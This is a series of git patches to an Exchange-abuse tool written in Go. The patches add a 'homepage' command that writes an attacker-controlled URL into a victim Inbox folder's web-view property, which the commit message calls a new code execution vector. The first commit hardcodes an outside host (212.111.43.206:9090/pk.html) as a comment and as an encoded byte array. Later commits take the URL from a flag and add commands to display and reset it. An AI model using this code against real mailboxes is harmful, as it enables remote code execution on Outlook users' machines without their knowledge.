From 08d647b20ec1246fedfb872b622d09f6abf914eb Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Mon, 10 Jul 2017 16:40:42 +0100 Subject: [PATCH 01/35] New code exec vector through HomePage. New function in mapi to set properties on a folder. --- mapi/constants.go | 1 + mapi/datastructs.go | 17 ++++++++++ mapi/mapi.go | 62 ++++++++++++++++++++++++++++++++++- ruler.go | 78 +++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 157 insertions(+), 1 deletion(-) diff --git a/mapi/constants.go b/mapi/constants.go index a9aba60..a8f3b8b 100644 --- a/mapi/constants.go +++ b/mapi/constants.go @@ -609,3 +609,4 @@ var PidTag6900 = PropertyTag{0x0003, 0x6900} var PidTagComment = PropertyTag{PtypString, 0x3004} var PidTagSenderEntryId = PropertyTag{PtypBinary, 0x0C19} +var PidTagFolderWebViewInfo = PropertyTag{PtypBinary, 0x36DF} diff --git a/mapi/datastructs.go b/mapi/datastructs.go index b7af6fd..bb0e7c2 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -874,6 +874,23 @@ type CRuleAction struct { Value []byte } +/* +dwVersion = 0x00000002 = WEBVIEW_PERSISTENCE_VERSION +dwType = 0x00000001 = WEBVIEWURL +dwFlags = 0x00000001 = WEBVIEW_FLAGS_SHOWBYDEFAULT +dwUnused = cb: 28 lpb: 00000000000000000000000000000000000000000000000000000000 +cbData = 0x00000046 +wzURL = http://212.111.43.206:9090/pk.html. +*/ +type WebViewPersistenceObjectStream struct { + Version uint32 + Type uint32 + Flags uint32 + Reserved []byte //[]byte{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00} + Size []uint32 + Value []byte //unicode string +} + //TaggedPropertyValue struct type TaggedPropertyValue struct { PropertyTag PropertyTag diff --git a/mapi/mapi.go b/mapi/mapi.go index fa4c5b6..d927d4d 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -93,7 +93,7 @@ func Init(config *utils.Session, lid, URL, ABKURL string, transport int) { AuthSession.Transport = transport AuthSession.ClientSet = false AuthSession.ReqCounter = 1 - AuthSession.LogonID = 0x0b + AuthSession.LogonID = 0x0c AuthSession.Authenticated = false //default to Encrypt + Sign for NTLM @@ -776,6 +776,66 @@ func SetMessageStatus(folderid, messageid []byte) (*RopSetMessageStatusResponse, } +//SetFolderProperties is used to set one or more properties on a folder +func SetFolderProperties(folderid []byte, propertyTags []TaggedPropertyValue) (*RopSetPropertiesResponse, error) { + execRequest := ExecuteRequest{} + execRequest.Init() + + getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} + getFolder.InputHandle = 0x00 + getFolder.OutputHandle = 0x01 + getFolder.FolderID = folderid + getFolder.OpenModeFlags = 0x00 + + fullReq := getFolder.Marshal() + + setProperties := RopSetPropertiesRequest{RopID: 0x0A, LogonID: AuthSession.LogonID} + setProperties.InputHandle = 0x01 + setProperties.PropertValueCount = 1 + + setProperties.PropertyValues = propertyTags + propertySize := 0 + for _, p := range propertyTags { + propertySize += len(utils.BodyToBytes(p)) + } + + setProperties.PropertValueSize = uint16(propertySize + 2) + + fullReq = append(fullReq, setProperties.Marshal()...) + + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + execRequest.RopBuffer.ROP.RopsList = fullReq + + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + if execResponse.StatusCode != 255 { + bufPtr := 10 + var p int + var e error + + openFolderResponse := RopOpenFolderResponse{} + + if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p + + propertiesResponse := RopSetPropertiesResponse{} + if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + fmt.Println(openFolderResponse) + return &propertiesResponse, nil + } + + return nil, ErrUnknown + +} + //CreateMessage creates a standard message for a folder func CreateMessage(folderID []byte, properties []TaggedPropertyValue) (*RopSaveChangesMessageResponse, error) { return CreateMessageRequest(folderID, properties, 0) diff --git a/ruler.go b/ruler.go index bfdd492..1c0cd23 100644 --- a/ruler.go +++ b/ruler.go @@ -662,6 +662,21 @@ func displayForms(c *cli.Context) error { return nil } +func createHomePage() { + prop := []byte{0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x68, 0x00, 0x74, 0x00, 0x74, 0x00, 0x70, 0x00, 0x3A, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x32, 0x00, 0x31, 0x00, 0x32, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x34, 0x00, 0x33, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x30, 0x00, 0x36, 0x00, 0x3A, 0x00, 0x39, 0x00, 0x30, 0x00, 0x39, 0x00, 0x30, 0x00, 0x2F, 0x00, 0x70, 0x00, 0x6B, 0x00, 0x2E, 0x00, 0x68, 0x00, 0x74, 0x00, 0x6D, 0x00, 0x6C, 0x00, 0x00, 0x00} + folderid := mapi.AuthSession.Folderids[mapi.INBOX] + propertyTags := make([]mapi.TaggedPropertyValue, 1) + propertyTags[0] = mapi.TaggedPropertyValue{mapi.PropertyTag{mapi.PtypBinary, 0x36DF}, append(utils.COUNT(len(prop)), prop...)} + //propertyTags[0] = mapi.TaggedPropertyValue{mapi.PropertyTag{mapi.PtypString8, 0x3001}, []byte{0x49, 0x6E, 0x62, 0x6F, 0x78}} + r, e := mapi.SetFolderProperties(folderid, propertyTags) + fmt.Println(r, e) + props := make([]mapi.PropertyTag, 1) + props[0] = mapi.PropertyTag{mapi.PtypBinary, 0x36DF} + rx, ex := mapi.GetFolder(mapi.INBOX, props) + fmt.Println(rx, ex) + +} + func main() { app := cli.NewApp() @@ -1149,6 +1164,69 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` Name: "display", Usage: "display all existing forms", + Action: func(c *cli.Context) error { + + err := connect(c) + if err != nil { + utils.Error.Println(err) + cli.OsExiter(1) + } + err = displayForms(c) + exit(err) + return nil + }, + }, + }, + }, + { + Name: "homepage", + Usage: "Interact with the forms function.", + Subcommands: []cli.Command{ + { + Name: "add", + Usage: "creates a new form. ", + Flags: []cli.Flag{}, + Action: func(c *cli.Context) error { + + err := connect(c) + if err != nil { + utils.Error.Println(err) + cli.OsExiter(1) + } + createHomePage() + exit(err) + return nil + }, + }, + { + Name: "delete", + Usage: "delete an existing form", + Flags: []cli.Flag{ + cli.StringFlag{ + Name: "suffix,s", + Value: "", + Usage: "The suffix used when creating the form. This must be the same as the value used when the form was created.", + }, + }, + Action: func(c *cli.Context) error { + if c.String("suffix") == "" { + return cli.NewExitError("The suffix is required. Please use the same value as supplied to the 'add' command. Default is pew", 1) + } + + err := connect(c) + if err != nil { + utils.Error.Println(err) + cli.OsExiter(1) + } + err = deleteForm(c) + exit(err) + return nil + }, + }, + { + Name: "display", + Usage: "display all existing forms", + Action: func(c *cli.Context) error { err := connect(c) From 999eeaa47327e91f8b1273a0403cd57ee9e4139a Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Tue, 11 Jul 2017 10:57:30 +0100 Subject: [PATCH 02/35] working add, display and delete of remote homepage. --- mapi/datastructs.go | 21 +++++++- mapi/mapi.go | 29 ++++++++--- ruler.go | 114 ++++++++++++++++++++++++++++++++++---------- 3 files changed, 130 insertions(+), 34 deletions(-) diff --git a/mapi/datastructs.go b/mapi/datastructs.go index bb0e7c2..4d60f68 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -887,7 +887,7 @@ type WebViewPersistenceObjectStream struct { Type uint32 Flags uint32 Reserved []byte //[]byte{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00} - Size []uint32 + Size uint32 Value []byte //unicode string } @@ -1153,6 +1153,11 @@ func (saveAttach RopSaveChangesAttachmentRequest) Marshal() []byte { return utils.BodyToBytes(saveAttach) } +//Marshal turn RopGetHierarchyTableRequest into Bytes +func (wvpObjectStream WebViewPersistenceObjectStream) Marshal() []byte { + return utils.BodyToBytes(wvpObjectStream) +} + //Unmarshal function to convert response into ConnectResponse struct func (connResponse *ConnectResponse) Unmarshal(resp []byte) error { pos := 0 @@ -1862,3 +1867,17 @@ func (propTag *PropertyTag) Unmarshal(resp []byte) (int, error) { propTag.PropertyID, pos = utils.ReadUint16(pos, resp) return pos, nil } + +//Unmarshal function to produce RopCreateMessageResponse struct +func (wvpObjectStream *WebViewPersistenceObjectStream) Unmarshal(resp []byte) (int, error) { + pos := 0 + + wvpObjectStream.Version, pos = utils.ReadUint32(pos, resp) + wvpObjectStream.Type, pos = utils.ReadUint32(pos, resp) + wvpObjectStream.Flags, pos = utils.ReadUint32(pos, resp) + wvpObjectStream.Reserved, pos = utils.ReadBytes(pos, 28, resp) + wvpObjectStream.Size, pos = utils.ReadUint32(pos, resp) + wvpObjectStream.Value, pos = utils.ReadUnicodeString(pos, resp) + + return pos, nil +} diff --git a/mapi/mapi.go b/mapi/mapi.go index d927d4d..22db9b9 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -828,7 +828,7 @@ func SetFolderProperties(folderid []byte, propertyTags []TaggedPropertyValue) (* if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { return nil, e } - fmt.Println(openFolderResponse) + return &propertiesResponse, nil } @@ -1735,10 +1735,15 @@ func DeleteFolder(folderid []byte) (*RopDeleteFolderResponse, error) { return nil, ErrUnknown } +func GetFolder(folderid int) (*RopOpenFolderResponse, error) { + folderResp, _, e := GetFolderProps(folderid, nil) + return folderResp, e +} + //GetFolder function get's a folder from the folders id //FolderIds can be any of the "specialFolders" as defined in Exchange //mapi/datastructs.go folder id/locations constants -func GetFolder(folderid int, columns []PropertyTag) (*RopOpenFolderResponse, error) { +func GetFolderProps(folderid int, columns []PropertyTag) (*RopOpenFolderResponse, *RopGetPropertiesSpecificResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1775,21 +1780,31 @@ func GetFolder(folderid int, columns []PropertyTag) (*RopOpenFolderResponse, err execResponse, err := sendMapiRequest(execRequest) if err != nil { - return nil, &TransportError{err} + return nil, nil, &TransportError{err} } if execResponse.StatusCode != 255 { bufPtr := 10 openFolder := RopOpenFolderResponse{} - if _, e := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e + p, e := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) + if e != nil { + return nil, nil, e } //this should be the handle to the folder //fmt.Println(execResponse.RopBuffer[len(execResponse.RopBuffer)-4:]) - return &openFolder, nil + if columns == nil { + return &openFolder, nil, nil + } + + bufPtr += p + getPropertiesResponse := RopGetPropertiesSpecificResponse{} + _, e = getPropertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:], columns) + + return &openFolder, &getPropertiesResponse, e + } - return nil, ErrUnknown + return nil, nil, ErrUnknown } //GetMessage returns the specific fields from a message diff --git a/ruler.go b/ruler.go index 1c0cd23..5571a5f 100644 --- a/ruler.go +++ b/ruler.go @@ -163,7 +163,7 @@ func sendMessage(subject, body string) error { propertyTags := make([]mapi.PropertyTag, 1) propertyTags[0] = mapi.PidTagDisplayName - _, er := mapi.GetFolder(mapi.OUTBOX, nil) //propertyTags) + _, er := mapi.GetFolder(mapi.OUTBOX) //propertyTags) if er != nil { return er } @@ -411,7 +411,7 @@ func connect(c *cli.Context) error { propertyTags := make([]mapi.PropertyTag, 2) propertyTags[0] = mapi.PidTagDisplayName propertyTags[1] = mapi.PidTagSubfolders - mapi.GetFolder(mapi.INBOX, propertyTags) //Open Inbox + mapi.GetFolderProps(mapi.INBOX, propertyTags) //Open Inbox } return nil } @@ -662,19 +662,77 @@ func displayForms(c *cli.Context) error { return nil } -func createHomePage() { - prop := []byte{0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x68, 0x00, 0x74, 0x00, 0x74, 0x00, 0x70, 0x00, 0x3A, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x32, 0x00, 0x31, 0x00, 0x32, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x34, 0x00, 0x33, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x30, 0x00, 0x36, 0x00, 0x3A, 0x00, 0x39, 0x00, 0x30, 0x00, 0x39, 0x00, 0x30, 0x00, 0x2F, 0x00, 0x70, 0x00, 0x6B, 0x00, 0x2E, 0x00, 0x68, 0x00, 0x74, 0x00, 0x6D, 0x00, 0x6C, 0x00, 0x00, 0x00} +func createHomePage(c *cli.Context) error { + utils.Info.Println("Creating new endpoint") + wvpObjectStream := mapi.WebViewPersistenceObjectStream{Version: 2, Type: 1, Flags: 1} + wvpObjectStream.Reserved = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} + wvpObjectStream.Value = utils.UniString(c.String("url")) + wvpObjectStream.Size = uint32(len(wvpObjectStream.Value)) + prop := wvpObjectStream.Marshal() folderid := mapi.AuthSession.Folderids[mapi.INBOX] propertyTags := make([]mapi.TaggedPropertyValue, 1) - propertyTags[0] = mapi.TaggedPropertyValue{mapi.PropertyTag{mapi.PtypBinary, 0x36DF}, append(utils.COUNT(len(prop)), prop...)} - //propertyTags[0] = mapi.TaggedPropertyValue{mapi.PropertyTag{mapi.PtypString8, 0x3001}, []byte{0x49, 0x6E, 0x62, 0x6F, 0x78}} - r, e := mapi.SetFolderProperties(folderid, propertyTags) - fmt.Println(r, e) + propertyTags[0] = mapi.TaggedPropertyValue{mapi.PidTagFolderWebViewInfo, append(utils.COUNT(len(prop)), prop...)} + + if _, e := mapi.SetFolderProperties(folderid, propertyTags); e != nil { + return e + } + utils.Info.Println("Verifying...") props := make([]mapi.PropertyTag, 1) - props[0] = mapi.PropertyTag{mapi.PtypBinary, 0x36DF} - rx, ex := mapi.GetFolder(mapi.INBOX, props) - fmt.Println(rx, ex) + props[0] = mapi.PidTagFolderWebViewInfo + _, _, e := mapi.GetFolderProps(mapi.INBOX, props) + if e == nil { + utils.Info.Println("New endpoint set") + } + return e +} +func displayHomePage() error { + utils.Info.Println("Getting existing endpoint") + props := make([]mapi.PropertyTag, 1) + props[0] = mapi.PidTagFolderWebViewInfo + _, c, e := mapi.GetFolderProps(mapi.INBOX, props) + if e == nil { + wvp := mapi.WebViewPersistenceObjectStream{} + wvp.Unmarshal(c.RowData[0].ValueArray) + + if utils.FromUnicode(wvp.Value) == "" { + utils.Info.Println("No endpoint set") + return nil + } else { + utils.Info.Printf("Found endpoint: %s\n", utils.FromUnicode(wvp.Value)) + } + + if wvp.Flags == 0 { + utils.Info.Println("Webview is set as DISABLED") + } else { + utils.Info.Println("Webview is set as ENABLED") + } + } + return e +} + +func deleteHomePage() error { + utils.Info.Println("Unsetting homepage. Remember to use 'add' if you want to reset this to the original value") + wvpObjectStream := mapi.WebViewPersistenceObjectStream{Version: 2, Type: 1, Flags: 0} + wvpObjectStream.Reserved = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} + wvpObjectStream.Value = utils.UniString("") + wvpObjectStream.Size = uint32(len(wvpObjectStream.Value)) + prop := wvpObjectStream.Marshal() + folderid := mapi.AuthSession.Folderids[mapi.INBOX] + propertyTags := make([]mapi.TaggedPropertyValue, 1) + propertyTags[0] = mapi.TaggedPropertyValue{mapi.PidTagFolderWebViewInfo, append(utils.COUNT(len(prop)), prop...)} + + if _, e := mapi.SetFolderProperties(folderid, propertyTags); e != nil { + return e + } + utils.Info.Println("Verifying...") + props := make([]mapi.PropertyTag, 1) + props[0] = mapi.PidTagFolderWebViewInfo + _, _, e := mapi.GetFolderProps(mapi.INBOX, props) + if e == nil { + utils.Info.Println("Webview reset") + } + return e } func main() { @@ -1185,15 +1243,28 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` { Name: "add", Usage: "creates a new form. ", - Flags: []cli.Flag{}, + Flags: []cli.Flag{ + cli.StringFlag{ + Name: "url,u", + Value: "", + Usage: "The location where the page is stored", + }, + }, Action: func(c *cli.Context) error { + if c.String("url") == "" { + return cli.NewExitError("You need to supply a valid URL. Use --url 'http://location/x.html'", 1) + } + //parse URL to ensure valid + if _, e := url.Parse(c.String("url")); e != nil { + return cli.NewExitError("You need to supply a valid URL. Use --url 'http://location/x.html'", 1) + } err := connect(c) if err != nil { utils.Error.Println(err) cli.OsExiter(1) } - createHomePage() + createHomePage(c) exit(err) return nil }, @@ -1201,31 +1272,22 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` { Name: "delete", Usage: "delete an existing form", - Flags: []cli.Flag{ - cli.StringFlag{ - Name: "suffix,s", - Value: "", - Usage: "The suffix used when creating the form. This must be the same as the value used when the form was created.", - }, - }, + Flags: []cli.Flag{}, Action: func(c *cli.Context) error { - if c.String("suffix") == "" { - return cli.NewExitError("The suffix is required. Please use the same value as supplied to the 'add' command. Default is pew", 1) - } err := connect(c) if err != nil { utils.Error.Println(err) cli.OsExiter(1) } - err = deleteForm(c) + err = deleteHomePage() exit(err) return nil }, }, { Name: "display", - Usage: "display all existing forms", + Usage: "display existing homepage", Action: func(c *cli.Context) error { @@ -1234,7 +1296,7 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` utils.Error.Println(err) cli.OsExiter(1) } - err = displayForms(c) + err = displayHomePage() exit(err) return nil }, From 62ae720a5ed20c62b35e783dd1376e30991c05ee Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Fri, 21 Jul 2017 16:52:19 +0100 Subject: [PATCH 03/35] new ROPs for getting property ids. New function to call this ROP. Used for LID properties that might not have normal property tags --- mapi/datastructs.go | 54 +++++++++++++++++++- mapi/mapi.go | 120 +++++++++++++++++++++++++++++++++++++++++++- ruler.go | 10 ++-- utils/utils.go | 34 +++++++++++++ 4 files changed, 210 insertions(+), 8 deletions(-) diff --git a/mapi/datastructs.go b/mapi/datastructs.go index 4d60f68..3fba0d6 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -181,6 +181,25 @@ type RopGetContentsTableResponse struct { RowCount uint32 } +//RopGetPropertyIdsFromNamesRequest struct to get property ids for LIDs +type RopGetPropertyIdsFromNamesRequest struct { + RopID uint8 //0x56 + LogonID uint8 + InputHandle uint8 + Flags uint8 + PropertyNameCount uint16 + PropertyNames []PropertyName +} + +//RopGetPropertyIdsFromNamesResponse struct to get property ids for LIDs +type RopGetPropertyIdsFromNamesResponse struct { + RopID uint8 //0x56 + InputHandle uint8 + ReturnValue uint32 + PropertyIdCount uint16 + PropertyIds []byte //16 byte guids +} + //RopGetPropertiesSpecific struct to get propertiesfor a folder type RopGetPropertiesSpecific struct { RopID uint8 //0x07 @@ -874,6 +893,14 @@ type CRuleAction struct { Value []byte } +type PropertyName struct { + Kind uint8 //0x00,0x01,0xff + GUID []byte //16 byte guid + LID []byte //OPTIONAL: if Kind == 0x00 + NameSize []byte //OPTIONAL: 1 byte size if Kind == 0x01 + Name []byte //OPTIONAL: if Kind == 0x01 +} + /* dwVersion = 0x00000002 = WEBVIEW_PERSISTENCE_VERSION dwType = 0x00000001 = WEBVIEWURL @@ -1158,6 +1185,11 @@ func (wvpObjectStream WebViewPersistenceObjectStream) Marshal() []byte { return utils.BodyToBytes(wvpObjectStream) } +//Marshal turn RopGetPropertyIdsFromNamesRequest into Bytes +func (getIds RopGetPropertyIdsFromNamesRequest) Marshal() []byte { + return utils.BodyToBytes(getIds) +} + //Unmarshal function to convert response into ConnectResponse struct func (connResponse *ConnectResponse) Unmarshal(resp []byte) error { pos := 0 @@ -1415,6 +1447,23 @@ func (getPropertiesResponse *RopFastTransferSourceCopyPropertiesResponse) Unmars return pos, nil } +//Unmarshal function to produce RopCreateMessageResponse struct +func (getPropertiesResponse *RopGetPropertyIdsFromNamesResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + + getPropertiesResponse.RopID, pos = utils.ReadByte(pos, resp) + getPropertiesResponse.InputHandle, pos = utils.ReadByte(pos, resp) + getPropertiesResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if getPropertiesResponse.ReturnValue != 0 { + return pos, &ErrorCode{getPropertiesResponse.ReturnValue} + } + + getPropertiesResponse.PropertyIdCount, pos = utils.ReadUint16(pos, resp) + getPropertiesResponse.PropertyIds, pos = utils.ReadBytes(pos, int(getPropertiesResponse.PropertyIdCount)*16, resp) + return pos, nil +} + //Unmarshal function to produce RopFastTransferSourceGetBufferResponse struct func (buffResponse *RopFastTransferSourceGetBufferResponse) Unmarshal(resp []byte) (int, error) { pos := 0 @@ -1877,7 +1926,10 @@ func (wvpObjectStream *WebViewPersistenceObjectStream) Unmarshal(resp []byte) (i wvpObjectStream.Flags, pos = utils.ReadUint32(pos, resp) wvpObjectStream.Reserved, pos = utils.ReadBytes(pos, 28, resp) wvpObjectStream.Size, pos = utils.ReadUint32(pos, resp) - wvpObjectStream.Value, pos = utils.ReadUnicodeString(pos, resp) + + if wvpObjectStream.Size > 0 { + wvpObjectStream.Value, pos = utils.ReadUnicodeString(pos, resp) + } return pos, nil } diff --git a/mapi/mapi.go b/mapi/mapi.go index 22db9b9..31c6aa7 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -133,7 +133,7 @@ func sendMapiRequest(mapi ExecuteRequest) (*ExecuteResponse, error) { return nil, err } } - //utils.Debug.Println(string(rawResp)) + //utils.Info.Println(string(rawResp)) executeResponse := ExecuteResponse{} executeResponse.Unmarshal(rawResp) return &executeResponse, nil @@ -776,6 +776,73 @@ func SetMessageStatus(folderid, messageid []byte) (*RopSetMessageStatusResponse, } +//GetMessage returns the specific fields from a message +func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGetPropertyIdsFromNamesResponse, error) { + + execRequest := ExecuteRequest{} + execRequest.Init() + + getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} + getMessage.InputHandle = 0x00 + getMessage.OutputHandle = 0x01 + getMessage.FolderID = folderid + getMessage.MessageID = messageid + getMessage.CodePageID = 0xFFF + getMessage.OpenModeFlags = 0x03 + + fullReq := getMessage.Marshal() + + getPropertyIds := RopGetPropertyIdsFromNamesRequest{} + getPropertyIds.RopID = 0x56 + getPropertyIds.LogonID = AuthSession.LogonID + getPropertyIds.InputHandle = 0x01 + getPropertyIds.Flags = 0x02 + getPropertyIds.PropertyNameCount = uint16(len(propids)) + getPropertyIds.PropertyNames = propids + + fullReq = append(fullReq, getPropertyIds.Marshal()...) + //fullReq := getPropertyIds.Marshal() + + //ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + //fullReq = append(fullReq, ropRelease.Marshal()...) + + execRequest.RopBuffer.ROP.RopsList = fullReq + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + + //fetch folder + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + if execResponse.StatusCode != 255 { + + bufPtr := 10 + + if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { + bufPtr += 4 + } + + var p int + var e error + + getMessageResponse := RopOpenMessageResponse{} + + if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + + bufPtr += p + + getPropertyIdsResp := RopGetPropertyIdsFromNamesResponse{} + _, e = getPropertyIdsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) + return &getPropertyIdsResp, e + } + + return nil, ErrUnknown +} + //SetFolderProperties is used to set one or more properties on a folder func SetFolderProperties(folderid []byte, propertyTags []TaggedPropertyValue) (*RopSetPropertiesResponse, error) { execRequest := ExecuteRequest{} @@ -1735,7 +1802,9 @@ func DeleteFolder(folderid []byte) (*RopDeleteFolderResponse, error) { return nil, ErrUnknown } -func GetFolder(folderid int) (*RopOpenFolderResponse, error) { +//GetFoler for backwards compatibility +//This function will be replaced in newer versions +func GetFolder(folderid int, columns []PropertyTag) (*RopOpenFolderResponse, error) { folderResp, _, e := GetFolderProps(folderid, nil) return folderResp, e } @@ -1807,6 +1876,53 @@ func GetFolderProps(folderid int, columns []PropertyTag) (*RopOpenFolderResponse return nil, nil, ErrUnknown } +//OpenMessage opens and returns a handle to a message +func OpenMessage(folderid, messageid []byte) ([]byte, error) { + + execRequest := ExecuteRequest{} + execRequest.Init() + + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + fullReq := ropRelease.Marshal() + + getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} + getMessage.InputHandle = 0x00 + getMessage.OutputHandle = 0x01 + getMessage.FolderID = folderid + getMessage.MessageID = messageid + getMessage.CodePageID = 0xFFF + getMessage.OpenModeFlags = 0x03 + + fullReq = append(fullReq, getMessage.Marshal()...) + execRequest.RopBuffer.ROP.RopsList = fullReq + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + + //fetch folder + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + if execResponse.StatusCode != 255 { + + bufPtr := 10 + + var e error + if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { + bufPtr += 4 + } + + openMessage := RopOpenMessageResponse{} + if _, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + fmt.Printf("%x\n", execResponse.RopBuffer) + return execResponse.RopBuffer[len(execResponse.RopBuffer)-4:], nil + } + return nil, ErrUnknown +} + //GetMessage returns the specific fields from a message func GetMessage(folderid, messageid []byte, columns []PropertyTag) (*RopGetPropertiesSpecificResponse, error) { diff --git a/ruler.go b/ruler.go index 5571a5f..ff77c4c 100644 --- a/ruler.go +++ b/ruler.go @@ -163,7 +163,7 @@ func sendMessage(subject, body string) error { propertyTags := make([]mapi.PropertyTag, 1) propertyTags[0] = mapi.PidTagDisplayName - _, er := mapi.GetFolder(mapi.OUTBOX) //propertyTags) + _, er := mapi.GetFolder(mapi.OUTBOX, nil) //propertyTags) if er != nil { return er } @@ -1238,11 +1238,11 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` }, { Name: "homepage", - Usage: "Interact with the forms function.", + Usage: "Interact with the homepage function.", Subcommands: []cli.Command{ { Name: "add", - Usage: "creates a new form. ", + Usage: "creates a new homepage. ", Flags: []cli.Flag{ cli.StringFlag{ Name: "url,u", @@ -1271,7 +1271,7 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` }, { Name: "delete", - Usage: "delete an existing form", + Usage: "delete an existing homepage and resets to using folder view", Flags: []cli.Flag{}, Action: func(c *cli.Context) error { @@ -1287,7 +1287,7 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` }, { Name: "display", - Usage: "display existing homepage", + Usage: "display current homepage setting", Action: func(c *cli.Context) error { diff --git a/utils/utils.go b/utils/utils.go index 29cbe43..0b9d2ee 100644 --- a/utils/utils.go +++ b/utils/utils.go @@ -4,12 +4,14 @@ import ( "bytes" "encoding/base64" "encoding/binary" + "encoding/hex" "fmt" "hash/fnv" "io/ioutil" "math/rand" "os" "reflect" + "strings" "time" "gopkg.in/yaml.v2" @@ -310,3 +312,35 @@ func ReadYml(yml string) (YamlConfig, error) { } return config, err } + +//GUIDToByteArray mimics Guid.ToByteArray Method () from .NET +// The example displays the following output: +// Guid: 35918bc9-196d-40ea-9779-889d79b753f0 +// C9 8B 91 35 6D 19 EA 40 97 79 88 9D 79 B7 53 F0 +func GUIDToByteArray(guid string) (array []byte, err error) { + //get rid of {} if passed in + guid = strings.Replace(guid, "{", "", 1) + guid = strings.Replace(guid, "}", "", 1) + + sp := strings.Split(guid, "-") //chunk + //we should have 5 chunks + if len(sp) != 5 { + return nil, fmt.Errorf("Invalid GUID") + } + //add first 4 chunks to array in reverse order + for i := 0; i < 4; i++ { + chunk, e := hex.DecodeString(sp[i]) + if e != nil { + return nil, e + } + for k := len(chunk) - 1; k >= 